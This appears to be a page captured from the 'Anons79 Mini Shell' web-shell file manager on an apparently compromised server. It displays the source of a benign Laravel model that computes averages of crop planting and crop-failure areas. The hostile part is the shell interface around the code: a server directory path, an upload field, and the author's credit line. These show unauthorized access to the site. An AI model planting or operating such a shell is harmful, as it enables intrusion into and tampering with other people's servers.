Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/sip.aplikasipos.info/app/Models/
Upload File :
Current File : /home/aplikasiposinfo/public_html/sip.aplikasipos.info/app/Models/LuasTanamPuso.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class LuasTanamPuso extends Model
{
    use HasFactory;
    protected $table = 'luas_tanam_pusos';
    protected $fillable = [
        'bulan',
        'id_kecamatan',
        'id_kampung',
        'komoditas',
        'luas_tanam',
        'luas_puso',
    ];

    public function kecamatan()
    {
        return $this->belongsTo(Kecamatan::class, 'id_kecamatan', 'id');
    }

    public function kampung()
    {
        return $this->belongsTo(Kampung::class, 'id_kampung', 'id');
    }
    
    public function rataRataLuasTanam($bulan)
    {
        $luasTanam = $this->where('bulan', '>=', $bulan->subYears(4)->format('Y-m'))
            ->where('bulan', '<=', $bulan->format('Y-m'))
            ->pluck('luas_tanam');
        return $luasTanam->average();
    }

    public function rataRataLuasPuso($bulan)
    {
        $luasPuso = $this->where('bulan', '>=', $bulan->subYears(4)->format('Y-m'))
            ->where('bulan', '<=', $bulan->format('Y-m'))
            ->pluck('luas_puso');
        return $luasPuso->average();
    }

}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]